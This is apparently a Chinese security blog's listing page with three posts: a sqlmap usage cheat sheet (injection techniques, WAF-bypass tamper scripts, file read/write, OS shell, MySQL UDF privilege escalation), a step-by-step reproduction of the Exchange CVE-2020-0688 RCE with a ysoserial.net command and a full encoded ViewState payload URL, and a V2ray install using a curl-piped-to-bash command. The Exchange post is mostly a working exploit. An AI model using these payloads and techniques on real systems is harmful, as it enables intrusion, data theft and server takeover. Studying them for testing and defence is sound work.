可以搜索数据库名,在所有数据库中搜索表名,在所有数据库的所有表中搜索列名。参数“–search”要和下列参数之一配合使用: -C:后跟以逗号分隔的列名,在整个数据库管理系统中搜索 -T:后跟以逗号分隔的表名,在整个数据库管理系统中搜索 -D:后跟以逗号分隔的库名,在整个数据库管理系统中搜索在搜索时,Sqlmap会询问用户进行精确搜索还是包含搜索。默认为包含搜索,即搜索的字符串包含于结果中就认为命中。精确搜索要求搜索的字符串与结果完全相等。例: sqlmap -u "http://127.0.0.1?id=1" -T "user" --search "user" --sql-query 执行sql语句 例: sqlmap -u "http://127.0.0.1?id=1" --sql-query "select version()" --sql-shell 交互式SQL的shell小技巧--technique 指定注入类型 其值为B、E、U、S、T或Q,含义如下:B:Boolean-based blind(布尔型注入)E:Error-based(报错型注入)U:Union query-based(可联合查询注入)S:Stacked queries(可多语句查询注入)T:Time-based blind(基于时间延迟注入)Q:Inline queries(嵌套查询注入)可以用“--technique ES”来指定使用两种检测技术。“--technique BEUSTQ”与默认情况等效。--time-sec 此参数用与设置基于时间延迟注入中延时时长,默认为5秒。--union-cols 在进行联合查询注入时,Sqlmap会自动检测列数,范围是1到10。当level值较高时列数检测范围的上限会扩大到50。可以用此参数指定列数检测范围,如--union-cols 12-16就会让Sqlmap的列数检测范围变成12到16。--union-char 默认情况下Sqlmap进行联合查询注入时使用空字符(NULL)。但当level值较高时Sqlmap会生成随机数用于联合查询注入。因为有时使用空字符注入会失败而使用随机数会成功。使用此参数可以指定联合查询注入中使用的字符,如:“--union-char 123”--union-from 有些情况下在联合查询中必须指定一个有效和可访问的表名,否则联合查询会执行失败,如在微软的Access中。(也就是说,某些DBMS不支持“SELECT 1,2;”这样的语句,SELECT必须有FROM。)用此参数指定这个表名,如“–union-from=users”访问文件系统--file-read 读取文件 例: sqlmap -u "http://127.0.0.1?id=1" --file-read "D:/1.txt"--file-write --file-dest 上传文件到数据库服务器中 例: sqlmap -u "http://127.0.0.1?id=1" --file-write "本机位置” --file-dest “上传位置”操作系统控制 --os-cmd 执行系统命令 sqlmap -u "http://127.0.0.1?id=1" --os-cmd "whoami" --os-shell 交互式的操作系统的shell通用选项 -s Sqlmap会自动地为每一个目标创建长久保存的会话SQLite文件,该文件统一存储在特定目录(如:~/.sqlmap/output/)中,其中保存着恢复会话所需的所有数据。若用户想要明确地指定SQLite文件(例如想要将多个目标的数据存储到同一个SQLite文件中),可使用此参 -t 记录所有HTTP流量到一个文本文件中,该参数后跟一个文件路径,用于将HTTP(S)请求和响应以文本格式记录到文件中作为日志。这样的日志在调试时是很有用的。例:sqlmap -u "http://127.0.0.1?id=1" -t http.log --batch不询问用户输入,使用所有默认配置(Y/N)。 --charset 设置字符编码 如“–charset=GBK --crawl 从目标URL爬行网站 Sqlmap可以从目标URL开始爬取目标站点并收集可能存在漏洞的URL。使用该参数还需要设置爬取深度,深度是相对于开始爬取的目标URL而言的。只有所有新链接都被递归地访问过后才算爬取结束。建议该参数与“–delay”配合使用.例: sqlmap -u "http://127.0.0.1?id=1" --batch --crawl 3 --eta 该参数用于显示估计的完成时间 --flush-session 刷新会话文件,以避免Sqlmap默认的缓存机制可能造成的一些问题。例: sqlmap -u "http://127.0.0.1?id=1" --flush-session --forms 解析和测试目标URL表单 sqlmap -u "http://127.0.0.1" --forms --hex 非ASCII数据很容易在传输时出错,使用hex函数可以将目标数据库中数据以十六进制返回。 --update 更新sqlmapTampersqlmap版本为1.2.7.20,有57个tamper脚本序号脚本名称注释10x2char将每个编码后的字符转换为等价表达2apostrophemask单引号替换为Utf8字符3apostrophenullencode替换双引号为%00%274appendnullbyte有效代码后添加%005base64encode使用base64编码6between比较符替换为between7bluecoat空格替换为随机空白字符,等号替换为like8chardoubleencode双url编码9charencode将url编码10charunicodeencode使用unicode编码11charunicodeescape以指定的payload反向编码未编码的字符12commalesslimit改变limit语句的写法13commalessmid改变mid语句的写法14commentbeforeparentheses在括号前加内联注释15concat2concatws替换CONCAT为CONCAT_WS16equaltolike等号替换为like17escapequotes双引号替换为\\\\18greatest大于号替换为greatest19halfversionedmorekeywords在每个关键字前加注释20htmlencodehtml编码所有非字母和数字的字符21ifnull2casewhenisnull改变ifnull语句的写法22ifnull2ifisnull替换ifnull为if(isnull(A))23informationschemacomment标示符后添加注释24least替换大于号为least25lowercase全部替换为小写值26modsecurityversioned空格替换为查询版本的注释27modsecurityzeroversioned添加完整的查询版本的注释28multiplespaces添加多个空格29nonrecursivereplacement替换预定义的关键字30overlongutf8将所有字符转义为utf831overlongutf8more以指定的payload转换所有字符32percentage每个字符前添加%33plus2concat将加号替换为concat函数34plus2fnconcat将加号替换为ODBC函数{fn CONCAT()}35randomcase字符大小写随机替换36randomcomments/**/分割关键字37securesphere添加某字符串38sp_password追加sp_password字符串39space2comment空格替换为/**/40space2dash空格替换为–加随机字符41space2hash空格替换为#加随机字符42space2morecomment空格替换为/**_**/43space2morehash空格替换为#加随机字符及换行符44space2mssqlblank空格替换为其他空符号45space2mssqlhash空格替换为%23%0A46space2mysqlblank空格替换为其他空白符号47space2mysqldash空格替换为–%0A48space2plus空格替换为加号49space2randomblank空格替换为备选字符集中的随机字符50symboliclogicalAND和OR替换为&&和||51unionalltounionunion all select替换为union select52unmagicquotes宽字符绕过GPC53uppercase全部替换为大写值54varnish添加HTTP头55versionedkeywords用注释封装每个非函数的关键字56versionedmorekeywords使用注释绕过57xforwardedfor添加伪造的HTTP头使用技巧1. URL重写SQL注入测试value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。sqlmap -u "http://127.0.0.1/param1/value1*/param2/value2/"2. 列举并破解密码哈希值 当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。sqlmap -u "http://127.0.0.1/sqlmap/pgsql/get_int.php?id=1" --passwords -v13. 获取表中的数据个数sqlmap. -u "http://127.0.0.1/sqlmap/mssql/iis/get_int.asp?id=1" --count -Dtestdb4.对网站s127.0.0.1进行漏洞爬取sqlmap -u "http://127.0.0.1" --batch –crawl=35.基于布尔SQL注入预估时间sqlmap -u "http://127.0.0.1/sqlmap/oracle/get_int_bool.php?id=1" -b --eta6.使用hex避免字符编码导致数据丢失sqlmap -u "http://127.0.0.1/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors7.模拟测试手机环境站点sqlmap -u "http://www.target.com/vuln.php?id=1" --mobile8.智能判断测试sqlmap -u “http://www.antian365.com/info.php?id=1“--batch --smart9.结合burpsuite进行注入(1)burpsuite抓包,需要设置burpsuite记录请求日志sqlmap -r "burpsuite抓包.txt"(2)指定表单注入sqlmap.py -u "http://127.0.0.1" --data "username=a&password=a”10.sqlmap自动填写表单注入自动填写表单:sqlmap -u "http://127.0.0.1" –formssqlmap -u "http://127.0.0.1" –forms –dbssqlmap -u "http://127.0.0.1" –forms –current-dbsqlmap -u "http://127.0.0.1" –forms -D 数据库名称–tablessqlmap -u "http://127.0.0.1" –forms -D 数据库名称 -T 表名 –columnssqlmap -u "http://127.0.0.1" –forms -D 数据库名称 -T 表名 -Cusername,password –dump11.读取linux下文件 sqlmap -u "http://127.0.0.1" --file /etc/password12.延时注入sqlmap -u ""http://127.0.0.1?id=1" --technique -T13. sqlmap 结合burpsuite进行post注入结合burpsuite来使用sqlmap:(1)浏览器打开目标地址http://127.0.0.1(2)配置burp代理(127.0.0.1:8080)以拦截请求(3)点击登录表单的submit按钮(4)Burp会拦截到了我们的登录POST请求(5)把这个post请求复制为txt, 我这命名为post.txt 然后把它放至sqlmap目录下(6)运行sqlmap并使用如下命令:sqlmap -r "post.txt" -p tfUPass14.sqlmap cookies注入sqlmap -u “http://127.0.0.1/base.PHP“–cookies “id=1″ –dbs –level 2默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值,然后进行注入:sqlmap.py -u 注入点URL --cookie"id=xx" --level 3sqlmap.py -u url --cookie "id=xx"--level 3 --tables(猜表名)sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 --coiumnssqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 -C username,password --dump 15.mysql提权(1)连接mysql数据打开一个交互shell:sqlmap.py -d "mysql://root:root@127.0.0.1:3306/test" --sql-shellselect @@version;select @@plugin_dir;d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\(2)利用sqlmap上传lib_mysqludf_sys到MySQL插件目录:sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll--file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dllCREATE FUNCTION sys_exec RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'CREATE FUNCTION sys_eval RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'select sys_eval('ver');16.执行shell命令sqlmap -u "http://127.0.0.1?id=1" --os-cmd "netuser" /*执行net user命令*/sqlmap -u "http://127.0.0.1?id=1" --os-shell /*系统交互的shell*/17.延时注入sqlmap –dbs -u "http://127.0.0.1?id=1" --delay 0.5 /*延时0.5秒*/sqlmap –dbs -u "http://127.0.0.1?id=1" --safe-freq /*请求2次*/18.批量注入将目标url搜集并整理为txt文件,所有文件都保存为你url.txt,然后使用"sqlmap.py-m tg.txt",注意url.txt跟sqlmap在同一个目录下19.设置并发线程数在dump的时候推荐使用此选项,能明显增加dump的速度。sqlmap -u "http://127.0.0.1?id=1" --dump-all --threads "10"
2020年03月19日
100 阅读
0 评论
0 点赞
2020-03-19
CVE-2020-0688 exchange远程代码执行漏洞复现
影响版本Microsoft Exchange Server 2010 Service Pack 3Microsoft Exchange Server 2013Microsoft Exchange Server 2016Microsoft Exchange Server 2019漏洞原理这个漏洞是由于Exchange服务器在安装时没有正确地创建唯一的加密密钥所造成的。具体来说,与正常软件安装每次都会产生随机密钥不同,所有Exchange Server在安装后的web.config文件中都拥有相同的validationKey和decryptionKey。这些密钥用于保证ViewState的安全性。而ViewState是ASP.NET Web应用以序列化格式存储在客户机上的服务端数据。客户端通过__VIEWSTATE请求参数将这些数据返回给服务器。攻击者可以在ExchangeControl Panel web应用上执行任意.net代码。当攻击者通过各种手段获得一个可以访问Exchange Control Panel (ECP)组件的用户账号密码时。攻击者可以在被攻击的exchange上执行任意代码,直接获取服务器权限。复现过程1、需要变量想要利用该漏洞,我们需要四个参数,分别为:–validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认,漏洞产生原因)–validationalg = SHA1(默认,漏洞产生原因)–generator=B97B4E27(基本默认)–viewstateuserkey = ASP.NET_SessionId(手工获取,变量,每次登陆都不一致)在这四个变量中,前两个为默认固定,viewstateuserkey和generator的值需要从经过身份验证的session中收集。viewstateuserkey可以从ASP.NET的_SessionID cookie中获取,而generator可以在一个隐藏字段__VIEWSTATEGENERATOR中找到。所有这些都可以通过浏览器中的工具轻松获取。2、获取viewstateuserkey和generator值在正常登录后访问 /ecp/default.aspx 页面。使用F12开发者工具的Network选项,刷新页面重新发送请求,找到登录时/ecp/default.aspx的原始响应。在Headers选项卡找到ASP.NET_SessionId的cookie:如果未找到此字段不必慌张,直接使用默认值B97B4E27 即可。3、使用工具生成payload使用ysoserial.net工具生成反序列化payload。 工具下载地址:https://github.com/pwntester/ysoserial.net/生成payload命令:ysoserial.exe-p ViewState -g TextFormattingRunProperties -c "calc.exe"--validationalg="SHA1"--validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"--generator="B97B4E27" --viewstateuserkey="d673d1a4-1794-403e-ab96-e283ca880ef2"--isdebug --islegacy4、构造攻击地址在生成完payload代码后,需要对该代码进行URL Encode编码构造一个URL/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>将最开始获得的__VIEWSTATEGENERATOR值替换<generator>,将URL Encode编码后的payload替换<ViewState>。示例:https://192.168.1.248/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2FwEyhAYAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuM**wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuR**ybWF0dGluZy5UZXh0R**ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVnc**1bmRCcnVzaAECAAAABgMAAACmBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljc**zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI%2BDQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IiIgT2JqZWN0VHlwZSA9ICJ7IHg6VHlwZSBEaWFnOlByb2Nlc3N9IiBNZXRob2ROYW1lID0gIlN0YXJ0IiA%2BDQogICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BY2FsYy5leGU8L1N5c3RlbTpTdHJpbmc%2BDQogICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM%2BDQogICAgPC9PYmplY3REYXRhUHJvdmlkZXI%2BDQo8L1Jlc291cmNlRGljdGlvbmFyeT4Lp73ado0NJN2PSSnfOoN9h4H7xCU%3D5、访问地址并成功执行访问构造好的URL地址,服务器会弹出500的错误,但攻击其实成功了。登录服务器查看进程,发现计算器成功启动。其他问题1、关于版本网上一些说法该漏洞对大版本的小版本有限制。其实不是这样的,应该是全版本通杀的。本人测试环境server 12 + exchange 2013。测试过15.0.516.32(2012 年12月3日)和15.0.1497.2(2019年6月18日)也就是update23,均存在漏洞,可以复现成功,16,19未测试,应该差不多。2、__VIEWSTATEGENERATOR在最初版本的时候一直没有这个参数(确实不重要,基本为默认值),造成这一问题的主要原因是没有更新系统补丁KB2919355,更新该补丁后就会出现__VIEWSTATEGENERATOR字段。3、无法创建文件大部分复现者只复现到启动计算器,但是却无法创建文件。但经过测试发现问题出在ysoserial.exe的-c参数上,虽然在演示过程中可以直接-c “echo OOOPS!!! > c:/Vuln_Server.txt”创建文件,让人误以为-c是在cmd窗口下运行,但是实际上-c实际为“运行”的内容,因此直接echo是不行的,需要-c “cmd /c echo test > C:\1.txt”,经测试成功创建文件,如图所示:4、URL Encode编码对生成的payload编码时,需要注意只编码关键的特殊字符即可,如果全编码的话会无法利用成功。修复建议1、建议及时更新相关补丁产品文章下载Microsoft Exchange Server 2010 Service Pack 3更新汇总304536989安全更新Microsoft Exchange Server 2013累积更新234536988安全更新Microsoft Exchange Server 2016累积更新144536987安全更新Microsoft Exchange Server 2016累积更新154536987安全更新Microsoft Exchange Server 2019累积更新34536987安全更新Microsoft Exchange Server 2019累积更新44536987安全更新2、限制Exchange Control Panel (ECP)组件页面访问权限由于该漏洞需要利用Exchange Control Panel (ECP)组件,因此禁止此组件访问也不失为一个较为有效的应急方法,建议条件允许的情况下及时更新补丁。
2020年03月19日
85 阅读
0 评论
0 点赞
2020-03-18
在centos7上安装V2ray 比shadowsock更科学的上网方式
相较于shadowsock来说,v2ray更加稳定,不易被qiang,这也是从shadowsock转v2ray最根本的原因服务端安装bash <(curl -L -s https://www.silverdragon.cn/downloads/go.sh)执行完上面的脚本,就会输出如下安装的提示信息了,其中PORT和UUID 使我们后面需要用到的配置信息然后通过service v2ray start / stop /status,就可以进行v2ray的启停了接下来执行以下下面命令,可以看出配置文件为 /etc/v2ray/config.json, 里面也包含了 UUID和PORT等信息ps aux | grep v2ray
2020年03月18日
111 阅读
0 评论
0 点赞
1
...
10
11
12
13